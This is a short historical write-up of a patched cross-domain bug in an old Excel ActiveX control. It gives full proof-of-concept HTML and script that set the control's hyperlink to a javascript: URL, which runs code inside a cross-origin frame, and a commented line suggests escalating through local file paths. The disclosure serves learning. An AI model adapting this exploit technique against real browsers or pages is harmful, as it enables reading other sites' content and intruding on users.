The Excel spreadsheet ActiveX control exposes a cells().hyperlink object that can be set to any URL — including javascript: URLs — and then followed programmatically. When followed from inside a cross-origin IFRAME, the script executes in the context of that IFRAME’s document, giving the parent page access to the cross-origin content.
index.html (attacker’s page):
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title> xDomain using xls control </title></head>
<body>
xDomain using xls control<br />
<iframe src="http://www.iframe.com/crash/18/otherdomain.html"></iframe>
</body>
</html>
otherdomain.html (loaded in the cross-origin IFRAME):
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title> xDoc </title>
</head>
<body>
<object id="xlsSheet" classid="CLSID:0002E510-0000-0000-C000-000000000046" width="0" height="0"></object>
<!--clsid:0002E559-0000-0000-C000-000000000046-->
<script language="JavaScript">
function firePop()
{
xlsSheet.cells(1,1).hyperlink.Address="javascript:alert(document.body.outerHTML)";
xlsSheet.cells(1,1).hyperlink.Follow();
// Yes, you can also change the URL to a local file and then... well, I do not know if you can go further than that.
// Maybe a combo of two xDomains will give you access to the local file but anyway, you can load it and the user will end up
// in "My Computer" zone.
// xlsSheet.cells(1,1).hyperlink.Address="c:\\test\\1.txt";
}
window.onload = firePop;
</script>
</body>
</html>
The Excel control’s hyperlink.Follow() method navigates to its Address in the current browsing context. By setting the address to a javascript: URL, the script runs in the IFRAME’s document scope. The commented-out alternative shows that navigating to a local file path was also possible, which could escalate further by combining this with another technique.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.